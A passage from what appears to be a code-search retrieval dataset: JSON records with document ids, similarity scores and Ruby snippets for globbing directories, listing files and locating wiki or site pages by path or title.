Dir.chdir(directory){\n for i in 0...formats.length\n Dir.glob(formats[i]){|f| files.push(f) }\n end\n }\n return files\nend", "title": "" }, { "docid": "12e19816abddb5cc3767588d22bd57af", "score": "0.5389831", "text": "def readDirectoryFiles(directory,formats)\n files=[]\n Dir.chdir(directory){\n for i in 0...formats.length\n Dir.glob(formats[i]){|f| files.push(f) }\n end\n }\n return files\nend", "title": "" }, { "docid": "4c3c27d378cfd239dd288d9bc12893a6", "score": "0.5387916", "text": "def glob?(path); end", "title": "" }, { "docid": "4c3c27d378cfd239dd288d9bc12893a6", "score": "0.5387916", "text": "def glob?(path); end", "title": "" }, { "docid": "5c7be5c88909c6a18b0169efddd9df73", "score": "0.5384697", "text": "def list_files(expression)\n Dir.glob(expression)\n end", "title": "" }, { "docid": "cb8afcda363abc49e3279567654cdd50", "score": "0.5378087", "text": "def create_filename_list (param)\n ar = []\n Dir::glob(param){|f|\n next unless FileTest.file?(f)\n #ar << \"#{File.basename(f)} : #{File::stat(f).size}\"\n ar << f\n }\n return ar\nend", "title": "" }, { "docid": "cb8afcda363abc49e3279567654cdd50", "score": "0.5378087", "text": "def create_filename_list (param)\n ar = []\n Dir::glob(param){|f|\n next unless FileTest.file?(f)\n #ar << \"#{File.basename(f)} : #{File::stat(f).size}\"\n ar << f\n }\n return ar\nend", "title": "" }, { "docid": "85bd6501608d3e6e0826fe797ef89879", "score": "0.5372197", "text": "def parse_glob_list(str)\n globs = str.split(%r{[,:]})\n list = []\n globs.each do |glob|\n files = Dir[glob]\n if files.empty?\n warn \"WARNING: '#{glob}' did not match any files; discarding\"\n next\n end\n list += files\n end\n list\n end", "title": "" }, { "docid": "85bd6501608d3e6e0826fe797ef89879", "score": "0.5372197", "text": "def parse_glob_list(str)\n globs = str.split(%r{[,:]})\n list = []\n globs.each do |glob|\n files = Dir[glob]\n if files.empty?\n warn \"WARNING: '#{glob}' did not match any files; discarding\"\n next\n end\n list += files\n end\n list\n end", "title": "" }, { "docid": "cf7e8af6c1f066c7f00fd4395ddca591", "score": "0.53708977", "text": "def ls(pattern = '**/*', **_opts)\n Enumerator.new do |y|\n @files.each_key do |path|\n y << path if File.fnmatch?(pattern, path, File::FNM_PATHNAME)\n end\n end\n end", "title": "" }, { "docid": "f33771ef0e0bb088ed56fc4b00490ce0", "score": "0.53708285", "text": "def files_resolved\n list = files.flatten\n list = list.map{ |f| Dir[f] }.flatten\n list = list.map{ |f| File.directory?(f) ? Dir[File.join(f, '**/*.rb')] : f }\n list = list.flatten.uniq\n list = list.map{ |f| File.expand_path(f) } \n list\n end", "title": "" }, { "docid": "743389d154b54fe5d3fe55ad1399e3eb", "score": "0.53668463", "text": "def check_globs(filename)\n basename = File.basename(filename)\n found = @globs.each_key.select { |pattern| File.fnmatch pattern, basename }\n\n if found.empty?\n downcase_basename = basename.downcase\n found = @globs.each_key.select { |pattern|\n File.fnmatch pattern, downcase_basename\n }\n end\n\n @globs[found.max]\n end", "title": "" }, { "docid": "6991a6c442e23ef4e15608333ac6dc39", "score": "0.53660125", "text": "def list_files\n\n begin\n\n Dir.open( path ) do |dir|\n\n return dir.entries.select { |fn| ! FileTest.directory? \"#{path}/#{fn}\" }.sort\n \n end\n\n rescue\n\n throw :error, VFSError.new(\"Local filesystem error: #$!\")\n\n end\n\n end", "title": "" }, { "docid": "921bacc31cdf0f1781f1ad16ecd92d94", "score": "0.5364455", "text": "def file_list(files)\n Array(files).map do |e|\n if File.directory?(e)\n # `expand_path` removes any trailing slash from the path string\n # `String#escape_glob` handles bracket literals otherwise interpreted as glob control characters\n sanitized_path = File.expand_path(e.escape_glob)\n Dir.glob(\"#{sanitized_path}/**/*\").reject { |f| File.directory?(f) }\n else\n e\n end\n end.flatten\n end", "title": "" }, { "docid": "b59925e177466f00a0195244c99428f6", "score": "0.53622884", "text": "def filepaths\n ::Dir.glob(DIR.join('*/*')).sort_by { |i| File.basename i }\n end", "title": "" }, { "docid": "1651174563e0052604db22d860ee62b6", "score": "0.536207", "text": "def collect_files(dir_list)\n files = Array.new\n dir_list.each do |dir_name|\n files += Dir::glob(\"#{dir_name}/*\")\n end\n files\n end", "title": "" }, { "docid": "44e12cfdaca286356a0163278f74eb61", "score": "0.53613645", "text": "def getFileList(directory_path, option=\"absolute\")\n absolute_path = File::expand_path(directory_path) + \"/\"\n file_list = Dir::entries(absolute_path).sort\n file_list.delete_if{|file_name| file_name == \".\" || file_name == \"..\"} #カレントディレクトリ,ペアレントディレクトリを消す\n file_list.delete_if{|file_name| File::ftype(absolute_path + file_name) == \"directory\"} #ディレクトリを消す\n\n #ファイル名を絶対パスに\n case option\n when \"absolute\"\n for i in 0..(file_list.length-1)\n file_list[i] = absolute_path + file_list[i]\n end\n\n #ファイル名を相対パスに\n when \"relative\"\n for i in 0..(file_list.length-1)\n file_list[i] = directory_path + file_list[i]\n end\n\n #lsと同じ挙動に\n when \"listup\"\n #do nothing\n else\n puts \"getFileList:invalid option! option is\"\n puts option\n end\n\n return file_list\nend", "title": "" }, { "docid": "6da2b3e92ee178d849af0f47ab5e78ca", "score": "0.5358396", "text": "def glob\r\n root_dirs = Dir.glob(@dir_glob)\r\n (@root_dirs - root_dirs).each do |d|\r\n remove_root_dir(d)\r\n end\r\n (@root_dirs & root_dirs).each do |d|\r\n update_root_dir(d) if dir_changed?(d)\r\n end\r\n (root_dirs - @root_dirs).each do |d|\r\n update_root_dir(d)\r\n end\r\n @root_dirs = root_dirs\r\n @root_dirs.sort.collect{|d| @files[d]}.flatten\r\n end", "title": "" }, { "docid": "ed3450d2c9ab2da46b1bcc2de93c5068", "score": "0.5357466", "text": "def ls(path='.')\n Dir[ File.join( path, '*' )].map{|filename| File.basename filename }\nend", "title": "" }, { "docid": "8b284954fa5fc36b1403b0fe52a45c75", "score": "0.5354045", "text": "def ls(pattern='**/*', _opts={})\n Enumerator.new do |y|\n Pathname.glob(@root.join(pattern)) do |pname|\n y << trim_prefix(pname.to_s) if pname.file?\n end\n end\n end", "title": "" } ]
a880ef741a99e3dc90442438d4d86db9
Returns the path to an existing page, or nil if no page exists. This method returns the first existing page file regardless of extension.
[ { "docid": "108aa06dbbfb7a0e59d22ba7e40917ff", "score": "0.6693045", "text": "def existing_page_path(page_name, topic)\n Dir[\"#{topic_directory(topic)}/#{page_name}.*\"].first\n end", "title": "" } ]
[ { "docid": "5733cfb9f6c1472ef4035d9d544554d0", "score": "0.6637821", "text": "def find\n path = clean_content_pathname.join(page_id.tr(\"\\\\\", \"/\")).cleanpath.to_s\n if !path.start_with?(\"#{clean_content_pathname}/\")\n raise InvalidPageIdError.new \"Invalid page id: #{page_id}\"\n end\n path\n rescue ArgumentError\n raise InvalidPageIdError.new \"Invalid page id: #{page_id}\"\n end", "title": "" }, { "docid": "01dff4fd4f2f129376ad0f08a3cc4f63", "score": "0.6570284", "text": "def page_name\n basename = File.basename @relative_name\n basename =~ /\\.(rb|rdoc|txt|md)$/i\n\n $` || basename\n end", "title": "" }, { "docid": "fbcd83e23acca248f121269058c7b7ef", "score": "0.6518209", "text": "def first_page\n # TODO are there cases where main_page = 'README' for 'lib/README'?\n if @options.main_page && (main_file = @all_files.find { |f| f.full_name == @options.main_page })\n main_file\n elsif (file = @simple_files.first)\n file\n elsif (cm = @unique_classes_and_modules.find { |k| !k.comment.empty? })\n cm\n elsif (file = @files_with_comment.first)\n file\n elsif !@unique_classes_and_modules.empty?\n @unique_classes_and_modules.find { |k| k.any_content } or\n @unique_classes_and_modules.first\n else\n @all_files.first\n end\n end", "title": "" }, { "docid": "b6efb9a8b35032c11f39409972cdb139", "score": "0.6389432", "text": "def get_url page\n begin\n return env_or_config(\"pages.#{page}\")\n rescue RuntimeError\n return env_or_config(\"pages.#{page}.path\")\n end\n end", "title": "" }, { "docid": "df4c17c1140e7a6c0b7541662c8cc0dd", "score": "0.62053585", "text": "def page_file page_name\n file_name = File.basename(page_name).gsub('.', '_')\n\n File.join @path, File.dirname(page_name), \"page-#{file_name}.ri\"\n end", "title": "" }, { "docid": "fbb61354e2450488d75e4918d1cff9b6", "score": "0.6178639", "text": "def page_content(title)\n File.read(\"pages/#{title}.txt\")\nrescue Errno::ENOENT\n return nil\nend", "title": "" }, { "docid": "8f675fb3ac7406e0f337d33ce54c024b", "score": "0.61607975", "text": "def page\n @page_object ||= Page.find(self.page_id)\n rescue\n nil\n end", "title": "" }, { "docid": "e25bad6dcf93771421e9047f19cdfe13", "score": "0.61319804", "text": "def page\n\t\tpage = request.path.split(\"/\")[-1]\n\tend", "title": "" }, { "docid": "ef28e5c064a545247b6aa2163cda16b8", "score": "0.6127761", "text": "def page_content(title)\n\tFile.read(\"pages/#{title}.txt\")\n rescue Errno::ENOENT\n \treturn nil\n end", "title": "" }, { "docid": "e61eb174be41ec4c1b9de53e0e2003d4", "score": "0.6102741", "text": "def page\n @page ||= revision.try(:page)\n end", "title": "" }, { "docid": "5a5be304b7d8c7babbd1a7da6ca5fa64", "score": "0.609495", "text": "def page\n return @most_recent_page if @most_recent_page && @most_recent_page.on_page?\n\n if @browser.is_a? Watir::Browser\n url = @browser.url\n elsif @browser.is_a? Selenium::WebDriver::Driver\n url = @browser.current_url\n else\n raise SiteObject::BrowserLibraryNotSupportedError, \"Unsupported browser library: #{@browser.class}\"\n end\n\n found_page = nil\n @pages.each do |p|\n if p.url_matcher && p.url_matcher =~ url\n found_page = p\n elsif p.query_arguments && p.url_template.match(url)\n found_page = p\n elsif !p.query_arguments && p.url_template.match(url.split(/(\\?|#)/)[0])\n found_page = p\n end\n\n break if found_page\n end\n\n if found_page && !found_page.required_arguments.empty?\n if hsh = found_page.url_template.extract(url)\n return found_page.new(self, found_page.url_template.extract(url))\n else\n return found_page.new(self, found_page.url_template.extract(url.split(/(\\?|#)/)[0]))\n end\n elsif found_page\n return found_page.new(self)\n else\n return nil\n end\n end", "title": "" }, { "docid": "33df1b119b36851a97fbf8db03bfe199", "score": "0.6071153", "text": "def get_page_by_path(page_path, output = :OBJECT, post_type = 'page')\n slugs = page_path.split('/')\n ancestors = []\n p_class = Railspress::WpPost.find_sti_class(post_type)\n page = nil\n begin\n post_parent = 0\n slugs.each do |slug|\n begin\n page = p_class.where(post_name: slug, post_parent: post_parent).first!\n post_parent = page.id\n ancestors << page\n rescue ActiveRecord::RecordNotFound\n page = nil\n break\n end\n end\n rescue ActiveRecord::RecordNotFound\n page = if slugs.size == 1 # retry without considering the parent\n p_class.where(post_name: params[:slug]).first\n else\n nil\n end\n end\n page\n end", "title": "" }, { "docid": "56243e6e31837b860aa567f2d48a1867", "score": "0.6048028", "text": "def pages_path\n @pages_path || root / 'pages'\n end", "title": "" }, { "docid": "8297026497760c3d246a36cfff907084", "score": "0.5986249", "text": "def path_to_page(page, tag = nil)\n if tag\n blogo_tag_page_path(tag, page)\n else\n blogo_page_path(page)\n end\n end", "title": "" }, { "docid": "c0eac416b3ac4636ca629e9441fd8a17", "score": "0.5964645", "text": "def page(path)\n path = normalize_path(path)\n @pages[path]\n end", "title": "" }, { "docid": "c69859fc8db076682dd9d2c3df70d1e3", "score": "0.5949413", "text": "def page_url\n return @page_url.dup unless @page_url.nil?\n generate_file_name()\n #duplicate so outside sources do not edit this property\n @page_url.dup\n end", "title": "" }, { "docid": "cc2e2342e02b7453852f641dede6d145", "score": "0.59472895", "text": "def get_page_from_url(url)\n site.pages.each do |page|\n if page.url == url then\n return page\n end\n end\n end", "title": "" }, { "docid": "358d0928240b6a36b6bd639cf07f2f57", "score": "0.59162307", "text": "def find_page(title)\n title = normalize_title(title)\n \n store[title + '.md'] or Page.new(:title => title)\n end", "title": "" }, { "docid": "0fd0a2f009410833efd44b995a2b3490", "score": "0.5907631", "text": "def page_content(title)\n File.read(\"pages/#{title}.txt\")\nrescue Errno::ENOENT #if file isn't there, we just won't get anything back \n return nil\nend", "title": "" }, { "docid": "5bc87030e1b87f3fd6592dd344407e83", "score": "0.5893551", "text": "def page\n @page ||= retrieve_page\n end", "title": "" }, { "docid": "5bc87030e1b87f3fd6592dd344407e83", "score": "0.5893551", "text": "def page\n @page ||= retrieve_page\n end", "title": "" }, { "docid": "ea0d5832f044b4cb1c734e25ec23e44f", "score": "0.5875617", "text": "def url\n self.page.try(:url) || @url\n end", "title": "" }, { "docid": "b2522340329017b8526d5aefd2b3d261", "score": "0.5868034", "text": "def page\n nil\n end", "title": "" }, { "docid": "23ccbb999a0ec093eb7b3b4fecbdb19c", "score": "0.58284014", "text": "def realpath\n if(self.page)\n return Rails.application.routes.url_helpers.page_path(self.page)\n end\n '/' + self.explicit_path\n end", "title": "" }, { "docid": "d705588573e63a47112b6c137bf71a31", "score": "0.581687", "text": "def find(path)\n path = full_path(path)\n page_blob = find_blob(path)\n raise MissingResource unless page_blob\n new(page_blob, path)\n end", "title": "" }, { "docid": "13cc205538cb2cb9ccac14adac260e6d", "score": "0.579945", "text": "def page\n get_page\n nil\n end", "title": "" }, { "docid": "6164b83ed1e305aa3fd9c118a518374c", "score": "0.577394", "text": "def first_page\n Page.find(self.first_page_id)\n end", "title": "" }, { "docid": "097fbd8a61faaffbe00dd19a067ad787", "score": "0.5773891", "text": "def page name\n @text_files_hash.each_value.find do |file|\n file.page_name == name or file.base_name == name\n end\n end", "title": "" }, { "docid": "73c933dba3fc2de27a5d0fb066e439c1", "score": "0.5764948", "text": "def parent\n parent = File.expand_path('..', @absolute_path).concat('.md')\n\n return nil unless File.file?(parent)\n\n Slimdown::Page.new(parent)\n end", "title": "" }, { "docid": "3d7298de186091d4f5383c236bc19aa7", "score": "0.5735621", "text": "def get_page_from_url(url)\n\t(site.pages + site.posts).each do |page|\n\t\treturn page if page.url == url\n\tend\n\n\treturn nil\nend", "title": "" }, { "docid": "3d6e69bc4f4a86ac6e03e17c551a07cf", "score": "0.57183826", "text": "def page_path(name, version='master')\n page = wiki.page(name, version)\n if !page.nil?\n \"#{path}/#{page.path}/#{page.version.id}\"\n end\n end", "title": "" }, { "docid": "884933b967a7cc5ff0b5644c9a73150f", "score": "0.56962496", "text": "def page_url\n nil\n end", "title": "" }, { "docid": "18bfa18ec92e398fa2802ddf23779e54", "score": "0.5679511", "text": "def find_or_create_page_from_url\n if self.page_id.nil? and @url.present?\n self.page_id = (Page.where(url: @url).first || Page.create!(url: @url)).id\n end\n end", "title": "" }, { "docid": "9e392b54226815980c88ca89676b2f39", "score": "0.567932", "text": "def url\n page&.url_path || read_attribute(:url).presence\n end", "title": "" }, { "docid": "3a58e168ddfeedb7d229257b7ae23465", "score": "0.56722707", "text": "def page\n return nil if element.nil?\n @page ||= element.page\n end", "title": "" }, { "docid": "9fb2b48702b2b5e9c149abbb768bfcf4", "score": "0.56601727", "text": "def render_path\n return @render_path.dup unless @page_url.nil?\n generate_file_name()\n @render_path.dup\n end", "title": "" }, { "docid": "92a99107d0b226e013a4bd38e377f8fe", "score": "0.56555665", "text": "def default_page\n self.children.first\n end", "title": "" }, { "docid": "e1193e5bd72412c68ea0efa31628bf28", "score": "0.56541264", "text": "def file\n @files.first ? @files.first[0] : nil\n end", "title": "" }, { "docid": "e1193e5bd72412c68ea0efa31628bf28", "score": "0.56541264", "text": "def file\n @files.first ? @files.first[0] : nil\n end", "title": "" }, { "docid": "6aa52d420a7bccc277870fd1fc19f15e", "score": "0.5641576", "text": "def FilePath\n if(FilePaths.length == 0)\n return nil\n end\n return FilePaths[0]\n end", "title": "" }, { "docid": "51694d32b248e0120e6134835519b8c8", "score": "0.5631403", "text": "def page_url\n @page_url ||= generate_file_name(@site.config[\"url\"], @site.config[\"baseurl\"]).chomp('index.html').chomp('.html')\n end", "title": "" }, { "docid": "40982e7c01a120b9ef75226f545d924d", "score": "0.56298906", "text": "def findPageNamed(name)\n return unless name.is_a?(String)\n Sketchup.active_model.pages.each { |p|\n return p if p.name.casecmp(name) == 0\n }\n nil\n end", "title": "" }, { "docid": "d77dd5e49b48725bd8eabbac78443c31", "score": "0.5611857", "text": "def load_page page_name\n file = page_file page_name\n\n File.open file, 'rb' do |io|\n obj = Marshal.load io.read\n obj.store = self\n obj\n end\n rescue Errno::ENOENT => e\n error = MissingFileError.new(self, file, page_name)\n error.set_backtrace e.backtrace\n raise error\n end", "title": "" }, { "docid": "4708fc5fe78c8f023a179196eddf4205", "score": "0.5607862", "text": "def filename\n @basename + PAGE_FILE_EXT\n end", "title": "" }, { "docid": "a074dc3083d6b360e86d373a93e069b0", "score": "0.5596012", "text": "def template_page(site)\n site.pages.dup.select do |page|\n Pager.pagination_candidate?(site.config, page)\n end.sort do |one, two|\n two.path.size <=> one.path.size\n end.first\n end", "title": "" }, { "docid": "cbeb0bcb073c0d7634d2f73978e4d591", "score": "0.55792266", "text": "def path\n raise NotImplementedError, \"implement me to support page.visit, e.g. '/relatve_URI_of_this_page'\"\n end", "title": "" }, { "docid": "8b79499d16f0fa97de82f6fa508b41c1", "score": "0.55733234", "text": "def get_page(idx)\n raise PageOverflowError.new(\"Cannot insert more records.\") if idx >= PAGE_COUNT\n\n if @pages[idx].nil? # Cache miss\n num_saved_pages = @file_length / PAGE_SIZE\n\n # partial page can be saved at end of file...\n if @file_length % PAGE_SIZE\n num_saved_pages += 1\n end\n\n # if page exists, read it...\n if idx <= num_saved_pages\n @file.seek(idx * PAGE_SIZE, IO::SEEK_SET)\n page = @file.read(PAGE_SIZE)\n end\n\n # TODO: This could overwrite data if there's an error.\n page ||= [0].pack(\"C\") * PAGE_SIZE\n\n @pages[idx] = page\n end\n\n @pages[idx]\n end", "title": "" }, { "docid": "e1155c740467c7e69de83c58ea3bf88c", "score": "0.5564837", "text": "def first_page\n return nil if total_pages < 1\n return 1\n end", "title": "" }, { "docid": "da8755570c388b3989bee776aa979730", "score": "0.5556861", "text": "def fetch_starting_page\n case @source\n when 'site' then page_repository.root\n when 'parent' then page_repository.parent_of(current_page) || current_page\n when 'page' then current_page\n else\n page_repository.by_fullpath(@source)\n end\n end", "title": "" }, { "docid": "160a848adb247d6622f4340648f4e49c", "score": "0.55449873", "text": "def url\n page && \"/#{page.urlname}\" || read_attribute(:url).presence\n end", "title": "" }, { "docid": "b0d1bab8776935ca08006e0bc7ce0e09", "score": "0.55436355", "text": "def find_or_create(path)\n path = full_path(path)\n if page_blob = find_blob(path)\n new(page_blob, path)\n else\n new(create_blob_for(path), path)\n end\n end", "title": "" }, { "docid": "1961fbdf9c6920134724dd7a1c340818", "score": "0.5538785", "text": "def page\n\t\t\t@navigation ? @navigation.page : nil\n\t\tend", "title": "" }, { "docid": "d75d7aa6bc5db7def985bb1184684f05", "score": "0.5527589", "text": "def page_content(title)\n File.read(\"pages/words.txt\")\nrescue Errno::ENOENT\n return nil\nend", "title": "" }, { "docid": "91847f049e51f3171bdf23c76fcb7ad6", "score": "0.5520903", "text": "def find_by_title(*opts)\n find_by_titles(opts).pages.first\n end", "title": "" }, { "docid": "7895ccc5af09edc9e047576d6b33192b", "score": "0.5516447", "text": "def get_page_path\n\n #in rails 2.0, params[:page] comes back as just an Array, so to_s doesn't do join('/')\n if params[:page].is_a? Array\n page_name = params[:page].join(\"/\")\n #in rails 1.x, params[:page] comes back as ActionController::Routing::PathSegment::Result\n elsif params[:page].is_a? ActionController::Routing::PathSegment::Result\n page_name = params[:page].to_s\n else\n logger.debug \"get_page_path - params[:page] is an unrecognized type, may cause problems: #{params[:page].class}\"\n page_name = params[:page].to_s\n end\n\n page_ext = page_name.split('.')[1] unless page_name.empty?\n # TODO: Automatic support for page RSS feeds... ????\n if page_name.nil? or page_name.empty?\n page_name = params[:index]\n params[:cache_path] = \"#{request.request_uri}/index\"\n elsif !params[:index].empty?\n page_name = \"#{params[:index]}/#{page_name}\"\n end\n return page_name, page_ext\n end", "title": "" }, { "docid": "ee756712d208a00a05548cc1082ec2e5", "score": "0.5512399", "text": "def parent_of( page )\n dir = page.directory\n\n loop do\n if @db.has_key? dir\n parent = @db[dir].find {|p| p.filename == 'index'}\n return parent unless parent.nil? or parent == page\n end\n\n break if dir.empty?\n dir = ::File.dirname(dir)\n dir = '' if dir == '.'\n end\n\n return\n end", "title": "" }, { "docid": "a7c169c54789bdca645cd0e011eff247", "score": "0.55114204", "text": "def find_by_uri_or_empty(uri)\n find_by_uri(uri) or Page.new(uri, '')\n end", "title": "" }, { "docid": "af7c1791b36564cb6980db32acc1b1ab", "score": "0.55023456", "text": "def file\n @file ||= find_file\n end", "title": "" }, { "docid": "27584aeaa4858af5d1f3f84827f1694a", "score": "0.54994786", "text": "def documentation_page_path(page)\n \"#{::Documentation::Engine.mounted_path}/#{page.try(:full_permalink)}\"\n end", "title": "" }, { "docid": "f6cb0801d5c122d2b53eb7e76f6a4a32", "score": "0.5495201", "text": "def find_by_path(path)\n Pages::Finder.by_path(path)\n end", "title": "" }, { "docid": "a4537f27c7f0c06a6a99cd2f20663662", "score": "0.5471102", "text": "def get_page(site,page)\n page.blank? ? Page.find_by_slug_and_site_id(Page::INDEX, site.id, :include => { :parts => :part_type }) : Page.find_by_slug_and_site_id(page, site.id, :include => { :parts => :part_type} )\n end", "title": "" }, { "docid": "2f29f277a2ef9f69eb19b4b8b4dbca67", "score": "0.5453957", "text": "def main_url\n @main_page = @options.main_page\n @main_page_ref = nil\n if @main_page\n @main_page_ref = RDoc::Generator::AllReferences[@main_page]\n if @main_page_ref then\n @main_page_path = @main_page_ref.path\n else\n $stderr.puts \"Could not find main page #{@main_page}\"\n end\n end\n\n unless @main_page_path then\n file = @files.find { |context| context.document_self }\n @main_page_path = file.path if file\n end\n\n unless @main_page_path then\n $stderr.puts \"Couldn't find anything to document\"\n $stderr.puts \"Perhaps you've used :stopdoc: in all classes\"\n exit 1\n end\n\n @main_page_path\n end", "title": "" }, { "docid": "6ae8d5c52dcaa1269b68c01c1e2283da", "score": "0.54255354", "text": "def main_url\n main_page = @options.main_page\n\n #\n # If a main page has been specified (--main), then search for it\n # in the AllReferences array. This allows either files or classes\n # to be used for the main page.\n #\n if main_page then\n main_page_ref = RDoc::Generator::AllReferences[main_page]\n\n if main_page_ref then\n return main_page_ref.path\n else\n $stderr.puts \"Could not find main page #{main_page}\"\n end\n end\n\n #\n # No main page has been specified, so just use the README.\n #\n @files.each do |file|\n return file.path if file.name =~ /^README/\n end\n\n #\n # There's no README (shame! shame!). Just use the first file\n # that will be documented.\n #\n @files.each do |file|\n return file.path if file.document_self\n end\n\n #\n # There are no files to be documented... Something seems very wrong.\n #\n raise RDoc::Error, \"Couldn't find anything to document (perhaps :stopdoc: has been used in all classes)!\"\n end", "title": "" }, { "docid": "504abf7fb99ac820bd233aa72f3b10ba", "score": "0.53852385", "text": "def get_page(name, version='master')\n IO.read(page_path(name, version)) if cache_hit?(name, version)\n end", "title": "" }, { "docid": "bb59d913b1e8ccb2ce7358e981fa3c2a", "score": "0.5381019", "text": "def find_file( path )\n find_files( path ).first\n end", "title": "" }, { "docid": "9aac77422236e9c88ab4d889fb687672", "score": "0.5368992", "text": "def find_text_page file_name\n @text_files_hash.each_value.find do |file|\n file.full_name == file_name\n end\n end", "title": "" }, { "docid": "a4b1a0670f496cd27fd842792d1f82fb", "score": "0.5367494", "text": "def only_first_page?(extension)\n ['.htm', '.html', '.xhtml', '.txt'].include? extension\nend", "title": "" }, { "docid": "37ce6e50072e918f7e00aa003c91ddf6", "score": "0.5367463", "text": "def find_or_new_page(title)\n title = start_page if title.blank?\n find_page(title) || WikiPage.new(:wiki => self, :title => Wiki.titleize(title))\n end", "title": "" }, { "docid": "5cda56709f5cdc2ebb6c8a4333e7b974", "score": "0.5361485", "text": "def page(permalink)\n\t\t# check if the file exists, return nil if not\n\t\tfile = dir + '/' + permalink + '.md'\n\t\treturn nil unless File.exists? file # bail out if the file doesn't exist\n\t\t\n\t\t# check if we can read content, return nil if not\n\t\tcontent = File.new(file, :encoding => \"UTF-8\").read\n\t\treturn nil if content.nil?\n\t\t\n\t\t# return a new Page instance\n\t\treturn Page.new(content, permalink, self)\n\tend", "title": "" }, { "docid": "5cda56709f5cdc2ebb6c8a4333e7b974", "score": "0.5361485", "text": "def page(permalink)\n\t\t# check if the file exists, return nil if not\n\t\tfile = dir + '/' + permalink + '.md'\n\t\treturn nil unless File.exists? file # bail out if the file doesn't exist\n\t\t\n\t\t# check if we can read content, return nil if not\n\t\tcontent = File.new(file, :encoding => \"UTF-8\").read\n\t\treturn nil if content.nil?\n\t\t\n\t\t# return a new Page instance\n\t\treturn Page.new(content, permalink, self)\n\tend", "title": "" }, { "docid": "b5e36389cc94ba80ecb456192dd1dd69", "score": "0.5346839", "text": "def page(path, version = nil, global_match = false)\n ::Gollum::Page.find(self, path, version.nil? ? @ref : version, false, global_match)\n end", "title": "" }, { "docid": "578693960eb0a4df9d9d770dfeae3412", "score": "0.5345039", "text": "def auto_path\n cur_page.auto_path\n end", "title": "" }, { "docid": "1a76cae185091604e20180e7b5f46eeb", "score": "0.53411967", "text": "def first_page\n @links['first']\n end", "title": "" }, { "docid": "1269a0cfdab9676749855e03c23ebe9a", "score": "0.5336404", "text": "def find_page(title, options = {})\n @page_found_with_redirect = false\n title = start_page if title.blank?\n title = Wiki.titleize(title)\n page = pages.find_by(\"LOWER(title) = LOWER(?)\", title)\n if page.nil? && options[:with_redirect] != false\n # search for a redirect\n redirect = redirects.where(\"LOWER(title) = LOWER(?)\", title).first\n if redirect\n page = redirect.target_page\n @page_found_with_redirect = true\n end\n end\n page\n end", "title": "" }, { "docid": "34490ff61004175f4317289585000811", "score": "0.53335255", "text": "def find_page(title, version = nil, load_content: true)\n page_title, page_dir = page_title_and_dir(title)\n\n if page = wiki.page(title: page_title, version: version, dir: page_dir, load_content: load_content)\n WikiPage.new(self, page)\n end\n end", "title": "" }, { "docid": "a15752c06f6e02ec25d135510fefb4b7", "score": "0.5328233", "text": "def find(page)\n Page.find(page)\n end", "title": "" }, { "docid": "de56d9638330bdf83774ab302732b6bb", "score": "0.5318419", "text": "def file\n files.first\n end", "title": "" }, { "docid": "de56d9638330bdf83774ab302732b6bb", "score": "0.5318419", "text": "def file\n files.first\n end", "title": "" }, { "docid": "c4329a1479d91d739239a8d2a5138969", "score": "0.5304023", "text": "def path\n if [email protected]? && File.exists?(@path)\n @path\n end\n end", "title": "" }, { "docid": "2691286ee6b24305ad97459c98ea5736", "score": "0.5292336", "text": "def last_folder\n return content_path unless request.params.has_key?(\"page\")\n path = request.params[\"page\"].split('/')\n File.join(content_path, path[0..-2])\n end", "title": "" }, { "docid": "2691286ee6b24305ad97459c98ea5736", "score": "0.5292336", "text": "def last_folder\n return content_path unless request.params.has_key?(\"page\")\n path = request.params[\"page\"].split('/')\n File.join(content_path, path[0..-2])\n end", "title": "" }, { "docid": "5fe73c7a9baab80c2207c0ae86e0194e", "score": "0.5287807", "text": "def find filename\n return filename if File.exists? filename\n filename = \"./haml/\"+filename\n return filename if File.exists? filename\n filename = @src_folder+\"/\"+filename\n return filename if File.exists? filename\n throw \"Could not find file: #{filename}\"\nend", "title": "" }, { "docid": "1be3799b23c3a88f168fff5ae30a5858", "score": "0.5281251", "text": "def file\n @file ||= File.basename(link)\n end", "title": "" }, { "docid": "287d2d22e63756099d1f2fd1afccf465", "score": "0.5278332", "text": "def page(slug_id)\n\t\treturn self.pages.where(:slug => slug_id).first\n\tend", "title": "" }, { "docid": "7ae10eb884daa48a237e6dfa633ab020", "score": "0.52772176", "text": "def page_path_from_url(url)\n ::URI.parse(url).request_uri\n end", "title": "" }, { "docid": "2d9e1ef640cdd175c1ce9df46dd0733a", "score": "0.5272406", "text": "def node_files_path()\n return File.join(@base_path, 'pages')\n end", "title": "" }, { "docid": "9c2adf7c86151aab3ec5704997c6222a", "score": "0.524893", "text": "def discover_file_title(page = current_page)\n\n if page.data.title\n return page.data.title # Frontmatter title\n else\n filename = page.url.split(/\\//).last.gsub('%20', ' ').titleize\n\n return filename.chomp(File.extname(filename))\n end\n end", "title": "" }, { "docid": "03fa28c24915ed6b30def57a6a5d9dc1", "score": "0.5248093", "text": "def current_path\n current_url = page.current_url\n url_match = URL_REGEX.match(current_url)\n return url_match[4] if url_match\n\n # Special case: prepend a slash to the path to force a valid URL for things like\n # \"about:srcdoc\" iframe srcdoc pages.\n current_url = \"/#{current_url}\" if current_url[0] != '/'\n\n current_url\n end", "title": "" }, { "docid": "334f37745bb775a19f1eab5e84938bb4", "score": "0.52444744", "text": "def page\n Page.where(:text_id => primary_key).first\n end", "title": "" }, { "docid": "42b896222a913bdf3aff383ae3661ca5", "score": "0.5236038", "text": "def url; (page.url rescue ''); end", "title": "" }, { "docid": "42b896222a913bdf3aff383ae3661ca5", "score": "0.5236038", "text": "def url; (page.url rescue ''); end", "title": "" }, { "docid": "9a9c58e17d7c8fe0401219bddf8dc1c3", "score": "0.52311236", "text": "def find_gracefully path\n path = full_path(path)\n if blob = find_blob(path)\n new(blob, path)\n else\n nil\n end\n end", "title": "" }, { "docid": "14133622a350d2197c563544351de0c0", "score": "0.5224807", "text": "def find_by_path_or_id!(path, id)\n page = find_by_path_or_id(path, id)\n\n raise ::ActiveRecord::RecordNotFound unless page\n\n page\n end", "title": "" }, { "docid": "56d80affd8d21673ab54454b6f209b26", "score": "0.5219983", "text": "def current_file\n @path || @parent.current_file rescue nil\n end", "title": "" }, { "docid": "0e03b39da1d22ec49a025fe413ac0706", "score": "0.5215021", "text": "def page\n self.class.page\n end", "title": "" }, { "docid": "da1b64cb6f714415f6da7dab0219b113", "score": "0.52137", "text": "def page\n @proxying ? @page.document : @page\n end", "title": "" }, { "docid": "79b89531c8cae2681661ce58e124a3ad", "score": "0.52108425", "text": "def page\n\t\t@visited_pages = []\n\t\tlogger.debug \"retreiving page for #{name}\"\n\t\tfind_page(name, false)\n\tend", "title": "" }, { "docid": 